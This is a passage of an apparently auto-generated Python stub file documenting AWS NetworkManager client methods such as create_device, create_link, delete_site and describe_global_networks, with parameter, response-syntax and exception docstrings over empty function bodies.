'LinkAssociationState': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'
}
}
Response Structure
(dict) --
LinkAssociation (dict) --
The link association.
GlobalNetworkId (string) --
The ID of the global network.
DeviceId (string) --
The device ID for the link association.
LinkId (string) --
The ID of the link.
LinkAssociationState (string) --
The state of the association.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'LinkAssociation': {
'GlobalNetworkId': 'string',
'DeviceId': 'string',
'LinkId': 'string',
'LinkAssociationState': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def can_paginate(operation_name=None):
"""
Check if an operation can be paginated.
:type operation_name: string
:param operation_name: The operation name. This is the same name\nas the method name on the client. For example, if the\nmethod name is create_foo, and you\'d normally invoke the\noperation as client.create_foo(**kwargs), if the\ncreate_foo operation can be paginated, you can use the\ncall client.get_paginator('create_foo').
"""
pass
def create_device(GlobalNetworkId=None, Description=None, Type=None, Vendor=None, Model=None, SerialNumber=None, Location=None, SiteId=None, Tags=None):
"""
Creates a new device in a global network. If you specify both a site ID and a location, the location of the site is used for visualization in the Network Manager console.
See also: AWS API Documentation
Exceptions
:example: response = client.create_device(
GlobalNetworkId='string',
Description='string',
Type='string',
Vendor='string',
Model='string',
SerialNumber='string',
Location={
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
SiteId='string',
Tags=[
{
'Key': 'string',
'Value': 'string'
},
]
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type Description: string
:param Description: A description of the device.\nLength Constraints: Maximum length of 256 characters.\n
:type Type: string
:param Type: The type of the device.
:type Vendor: string
:param Vendor: The vendor of the device.\nLength Constraints: Maximum length of 128 characters.\n
:type Model: string
:param Model: The model of the device.\nLength Constraints: Maximum length of 128 characters.\n
:type SerialNumber: string
:param SerialNumber: The serial number of the device.\nLength Constraints: Maximum length of 128 characters.\n
:type Location: dict
:param Location: The location of the device.\n\nAddress (string) --The physical address.\n\nLatitude (string) --The latitude.\n\nLongitude (string) --The longitude.\n\n\n
:type SiteId: string
:param SiteId: The ID of the site.
:type Tags: list
:param Tags: The tags to apply to the resource during creation.\n\n(dict) --Describes a tag.\n\nKey (string) --The tag key.\nLength Constraints: Maximum length of 128 characters.\n\nValue (string) --The tag value.\nLength Constraints: Maximum length of 256 characters.\n\n\n\n\n
:rtype: dict
ReturnsResponse Syntax
{
'Device': {
'DeviceId': 'string',
'DeviceArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Type': 'string',
'Vendor': 'string',
'Model': 'string',
'SerialNumber': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'SiteId': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
Response Structure
(dict) --
Device (dict) --
Information about the device.
DeviceId (string) --
The ID of the device.
DeviceArn (string) --
The Amazon Resource Name (ARN) of the device.
GlobalNetworkId (string) --
The ID of the global network.
Description (string) --
The description of the device.
Type (string) --
The device type.
Vendor (string) --
The device vendor.
Model (string) --
The device model.
SerialNumber (string) --
The device serial number.
Location (dict) --
The site location.
Address (string) --
The physical address.
Latitude (string) --
The latitude.
Longitude (string) --
The longitude.
SiteId (string) --
The site ID.
CreatedAt (datetime) --
The date and time that the site was created.
State (string) --
The device state.
Tags (list) --
The tags for the device.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'Device': {
'DeviceId': 'string',
'DeviceArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Type': 'string',
'Vendor': 'string',
'Model': 'string',
'SerialNumber': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'SiteId': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def create_global_network(Description=None, Tags=None):
"""
Creates a new, empty global network.
See also: AWS API Documentation
Exceptions
:example: response = client.create_global_network(
Description='string',
Tags=[
{
'Key': 'string',
'Value': 'string'
},
]
)
:type Description: string
:param Description: A description of the global network.\nLength Constraints: Maximum length of 256 characters.\n
:type Tags: list
:param Tags: The tags to apply to the resource during creation.\n\n(dict) --Describes a tag.\n\nKey (string) --The tag key.\nLength Constraints: Maximum length of 128 characters.\n\nValue (string) --The tag value.\nLength Constraints: Maximum length of 256 characters.\n\n\n\n\n
:rtype: dict
ReturnsResponse Syntax
{
'GlobalNetwork': {
'GlobalNetworkId': 'string',
'GlobalNetworkArn': 'string',
'Description': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
Response Structure
(dict) --
GlobalNetwork (dict) --
Information about the global network object.
GlobalNetworkId (string) --
The ID of the global network.
GlobalNetworkArn (string) --
The Amazon Resource Name (ARN) of the global network.
Description (string) --
The description of the global network.
CreatedAt (datetime) --
The date and time that the global network was created.
State (string) --
The state of the global network.
Tags (list) --
The tags for the global network.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'GlobalNetwork': {
'GlobalNetworkId': 'string',
'GlobalNetworkArn': 'string',
'Description': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def create_link(GlobalNetworkId=None, Description=None, Type=None, Bandwidth=None, Provider=None, SiteId=None, Tags=None):
"""
Creates a new link for a specified site.
See also: AWS API Documentation
Exceptions
:example: response = client.create_link(
GlobalNetworkId='string',
Description='string',
Type='string',
Bandwidth={
'UploadSpeed': 123,
'DownloadSpeed': 123
},
Provider='string',
SiteId='string',
Tags=[
{
'Key': 'string',
'Value': 'string'
},
]
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type Description: string
:param Description: A description of the link.\nLength Constraints: Maximum length of 256 characters.\n
:type Type: string
:param Type: The type of the link.\nConstraints: Cannot include the following characters: | ^\nLength Constraints: Maximum length of 128 characters.\n
:type Bandwidth: dict
:param Bandwidth: [REQUIRED]\nThe upload speed and download speed in Mbps.\n\nUploadSpeed (integer) --Upload speed in Mbps.\n\nDownloadSpeed (integer) --Download speed in Mbps.\n\n\n
:type Provider: string
:param Provider: The provider of the link.\nConstraints: Cannot include the following characters: | ^\nLength Constraints: Maximum length of 128 characters.\n
:type SiteId: string
:param SiteId: [REQUIRED]\nThe ID of the site.\n
:type Tags: list
:param Tags: The tags to apply to the resource during creation.\n\n(dict) --Describes a tag.\n\nKey (string) --The tag key.\nLength Constraints: Maximum length of 128 characters.\n\nValue (string) --The tag value.\nLength Constraints: Maximum length of 256 characters.\n\n\n\n\n
:rtype: dict
ReturnsResponse Syntax
{
'Link': {
'LinkId': 'string',
'LinkArn': 'string',
'GlobalNetworkId': 'string',
'SiteId': 'string',
'Description': 'string',
'Type': 'string',
'Bandwidth': {
'UploadSpeed': 123,
'DownloadSpeed': 123
},
'Provider': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
Response Structure
(dict) --
Link (dict) --
Information about the link.
LinkId (string) --
The ID of the link.
LinkArn (string) --
The Amazon Resource Name (ARN) of the link.
GlobalNetworkId (string) --
The ID of the global network.
SiteId (string) --
The ID of the site.
Description (string) --
The description of the link.
Type (string) --
The type of the link.
Bandwidth (dict) --
The bandwidth for the link.
UploadSpeed (integer) --
Upload speed in Mbps.
DownloadSpeed (integer) --
Download speed in Mbps.
Provider (string) --
The provider of the link.
CreatedAt (datetime) --
The date and time that the link was created.
State (string) --
The state of the link.
Tags (list) --
The tags for the link.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'Link': {
'LinkId': 'string',
'LinkArn': 'string',
'GlobalNetworkId': 'string',
'SiteId': 'string',
'Description': 'string',
'Type': 'string',
'Bandwidth': {
'UploadSpeed': 123,
'DownloadSpeed': 123
},
'Provider': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def create_site(GlobalNetworkId=None, Description=None, Location=None, Tags=None):
"""
Creates a new site in a global network.
See also: AWS API Documentation
Exceptions
:example: response = client.create_site(
GlobalNetworkId='string',
Description='string',
Location={
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
Tags=[
{
'Key': 'string',
'Value': 'string'
},
]
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type Description: string
:param Description: A description of your site.\nLength Constraints: Maximum length of 256 characters.\n
:type Location: dict
:param Location: The site location. This information is used for visualization in the Network Manager console. If you specify the address, the latitude and longitude are automatically calculated.\n\nAddress : The physical address of the site.\nLatitude : The latitude of the site.\nLongitude : The longitude of the site.\n\n\nAddress (string) --The physical address.\n\nLatitude (string) --The latitude.\n\nLongitude (string) --The longitude.\n\n\n
:type Tags: list
:param Tags: The tags to apply to the resource during creation.\n\n(dict) --Describes a tag.\n\nKey (string) --The tag key.\nLength Constraints: Maximum length of 128 characters.\n\nValue (string) --The tag value.\nLength Constraints: Maximum length of 256 characters.\n\n\n\n\n
:rtype: dict
ReturnsResponse Syntax
{
'Site': {
'SiteId': 'string',
'SiteArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
Response Structure
(dict) --
Site (dict) --
Information about the site.
SiteId (string) --
The ID of the site.
SiteArn (string) --
The Amazon Resource Name (ARN) of the site.
GlobalNetworkId (string) --
The ID of the global network.
Description (string) --
The description of the site.
Location (dict) --
The location of the site.
Address (string) --
The physical address.
Latitude (string) --
The latitude.
Longitude (string) --
The longitude.
CreatedAt (datetime) --
The date and time that the site was created.
State (string) --
The state of the site.
Tags (list) --
The tags for the site.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'Site': {
'SiteId': 'string',
'SiteArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def delete_device(GlobalNetworkId=None, DeviceId=None):
"""
Deletes an existing device. You must first disassociate the device from any links and customer gateways.
See also: AWS API Documentation
Exceptions
:example: response = client.delete_device(
GlobalNetworkId='string',
DeviceId='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type DeviceId: string
:param DeviceId: [REQUIRED]\nThe ID of the device.\n
:rtype: dict
ReturnsResponse Syntax
{
'Device': {
'DeviceId': 'string',
'DeviceArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Type': 'string',
'Vendor': 'string',
'Model': 'string',
'SerialNumber': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'SiteId': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
Response Structure
(dict) --
Device (dict) --
Information about the device.
DeviceId (string) --
The ID of the device.
DeviceArn (string) --
The Amazon Resource Name (ARN) of the device.
GlobalNetworkId (string) --
The ID of the global network.
Description (string) --
The description of the device.
Type (string) --
The device type.
Vendor (string) --
The device vendor.
Model (string) --
The device model.
SerialNumber (string) --
The device serial number.
Location (dict) --
The site location.
Address (string) --
The physical address.
Latitude (string) --
The latitude.
Longitude (string) --
The longitude.
SiteId (string) --
The site ID.
CreatedAt (datetime) --
The date and time that the site was created.
State (string) --
The device state.
Tags (list) --
The tags for the device.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'Device': {
'DeviceId': 'string',
'DeviceArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Type': 'string',
'Vendor': 'string',
'Model': 'string',
'SerialNumber': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'SiteId': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def delete_global_network(GlobalNetworkId=None):
"""
Deletes an existing global network. You must first delete all global network objects (devices, links, and sites) and deregister all transit gateways.
See also: AWS API Documentation
Exceptions
:example: response = client.delete_global_network(
GlobalNetworkId='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:rtype: dict
ReturnsResponse Syntax{
'GlobalNetwork': {
'GlobalNetworkId': 'string',
'GlobalNetworkArn': 'string',
'Description': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
Response Structure
(dict) --
GlobalNetwork (dict) --Information about the global network.
GlobalNetworkId (string) --The ID of the global network.
GlobalNetworkArn (string) --The Amazon Resource Name (ARN) of the global network.
Description (string) --The description of the global network.
CreatedAt (datetime) --The date and time that the global network was created.
State (string) --The state of the global network.
Tags (list) --The tags for the global network.
(dict) --Describes a tag.
Key (string) --The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'GlobalNetwork': {
'GlobalNetworkId': 'string',
'GlobalNetworkArn': 'string',
'Description': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
"""
pass
def delete_link(GlobalNetworkId=None, LinkId=None):
"""
Deletes an existing link. You must first disassociate the link from any devices and customer gateways.
See also: AWS API Documentation
Exceptions
:example: response = client.delete_link(
GlobalNetworkId='string',
LinkId='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type LinkId: string
:param LinkId: [REQUIRED]\nThe ID of the link.\n
:rtype: dict
ReturnsResponse Syntax
{
'Link': {
'LinkId': 'string',
'LinkArn': 'string',
'GlobalNetworkId': 'string',
'SiteId': 'string',
'Description': 'string',
'Type': 'string',
'Bandwidth': {
'UploadSpeed': 123,
'DownloadSpeed': 123
},
'Provider': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
Response Structure
(dict) --
Link (dict) --
Information about the link.
LinkId (string) --
The ID of the link.
LinkArn (string) --
The Amazon Resource Name (ARN) of the link.
GlobalNetworkId (string) --
The ID of the global network.
SiteId (string) --
The ID of the site.
Description (string) --
The description of the link.
Type (string) --
The type of the link.
Bandwidth (dict) --
The bandwidth for the link.
UploadSpeed (integer) --
Upload speed in Mbps.
DownloadSpeed (integer) --
Download speed in Mbps.
Provider (string) --
The provider of the link.
CreatedAt (datetime) --
The date and time that the link was created.
State (string) --
The state of the link.
Tags (list) --
The tags for the link.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'Link': {
'LinkId': 'string',
'LinkArn': 'string',
'GlobalNetworkId': 'string',
'SiteId': 'string',
'Description': 'string',
'Type': 'string',
'Bandwidth': {
'UploadSpeed': 123,
'DownloadSpeed': 123
},
'Provider': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def delete_site(GlobalNetworkId=None, SiteId=None):
"""
Deletes an existing site. The site cannot be associated with any device or link.
See also: AWS API Documentation
Exceptions
:example: response = client.delete_site(
GlobalNetworkId='string',
SiteId='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type SiteId: string
:param SiteId: [REQUIRED]\nThe ID of the site.\n
:rtype: dict
ReturnsResponse Syntax
{
'Site': {
'SiteId': 'string',
'SiteArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
Response Structure
(dict) --
Site (dict) --
Information about the site.
SiteId (string) --
The ID of the site.
SiteArn (string) --
The Amazon Resource Name (ARN) of the site.
GlobalNetworkId (string) --
The ID of the global network.
Description (string) --
The description of the site.
Location (dict) --
The location of the site.
Address (string) --
The physical address.
Latitude (string) --
The latitude.
Longitude (string) --
The longitude.
CreatedAt (datetime) --
The date and time that the site was created.
State (string) --
The state of the site.
Tags (list) --
The tags for the site.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'Site': {
'SiteId': 'string',
'SiteArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def deregister_transit_gateway(GlobalNetworkId=None, TransitGatewayArn=None):
"""
Deregisters a transit gateway from your global network. This action does not delete your transit gateway, or modify any of its attachments. This action removes any customer gateway associations.
See also: AWS API Documentation
Exceptions
:example: response = client.deregister_transit_gateway(
GlobalNetworkId='string',
TransitGatewayArn='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type TransitGatewayArn: string
:param TransitGatewayArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the transit gateway.\n
:rtype: dict
ReturnsResponse Syntax
{
'TransitGatewayRegistration': {
'GlobalNetworkId': 'string',
'TransitGatewayArn': 'string',
'State': {
'Code': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'|'FAILED',
'Message': 'string'
}
}
}
Response Structure
(dict) --
TransitGatewayRegistration (dict) --
The transit gateway registration information.
GlobalNetworkId (string) --
The ID of the global network.
TransitGatewayArn (string) --
The Amazon Resource Name (ARN) of the transit gateway.
State (dict) --
The state of the transit gateway registration.
Code (string) --
The code for the state reason.
Message (string) --
The message for the state reason.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'TransitGatewayRegistration': {
'GlobalNetworkId': 'string',
'TransitGatewayArn': 'string',
'State': {
'Code': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'|'FAILED',
'Message': 'string'
}
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def describe_global_networks(GlobalNetworkIds=None, MaxResults=None, NextToken=None):
"""
Describes one or more global networks. By default, all global networks are described. To describe the objects in your global network, you must use the appropriate Get* action. For example, to list the transit gateways in your global network, use GetTransitGatewayRegistrations .
See also: AWS API Documentation
Exceptions
:example: response = client.describe_global_networks(
GlobalNetworkIds=[
'string',
],
MaxResults=123,
NextToken='string'
)
:type GlobalNetworkIds: list
:param GlobalNetworkIds: The IDs of one or more global networks. The maximum is 10.\n\n(string) --\n\n
:type MaxResults: integer
:param MaxResults: The maximum number of results to return.
:type NextToken: string
:param NextToken: The token for the next page of results.
:rtype: dict
ReturnsResponse Syntax
{
'GlobalNetworks': [
{
'GlobalNetworkId': 'string',
'GlobalNetworkArn': 'string',
'Description': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
},
],
'NextToken': 'string'
}
Response Structure
(dict) --
GlobalNetworks (list) --
Information about the global networks.
(dict) --
Describes a global network.
GlobalNetworkId (string) --
The ID of the global network.
GlobalNetworkArn (string) --
The Amazon Resource Name (ARN) of the global network.
Description (string) --
The description of the global network.
CreatedAt (datetime) --
The date and time that the global network was created.
State (string) --
The state of the global network.
Tags (list) --
The tags for the global network.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
NextToken (string) --
The token for the next page of results.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'GlobalNetworks': [
{
'GlobalNetworkId': 'string',
'GlobalNetworkArn': 'string',
'Description': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
},
],
'NextToken': 'string'
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def disassociate_customer_gateway(GlobalNetworkId=None, CustomerGatewayArn=None):
"""
Disassociates a customer gateway from a device and a link.
See also: AWS API Documentation
Exceptions
:example: response = client.disassociate_customer_gateway(
GlobalNetworkId='string',
CustomerGatewayArn='string'
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type CustomerGatewayArn: string
:param CustomerGatewayArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the customer gateway. For more information, see Resources Defined by Amazon EC2 .\n
:rtype: dict
ReturnsResponse Syntax
{
'CustomerGatewayAssociation': {
'CustomerGatewayArn': 'string',
'GlobalNetworkId': 'string',
'DeviceId': 'string',
'LinkId': 'string',
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'
}
}
Response Structure
(dict) --
CustomerGatewayAssociation (dict) --
Information about the customer gateway association.
CustomerGatewayArn (string) --
The Amazon Resource Name (ARN) of the customer gateway.
GlobalNetworkId (string) --
The ID of the global network.
DeviceId (string) --
The ID of the device.
LinkId (string) --
The ID of the link.
State (string) --
The association state.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'CustomerGatewayAssociation': {
'CustomerGatewayArn': 'string',
'GlobalNetworkId': 'string',
'DeviceId': 'string',
'LinkId': 'string',
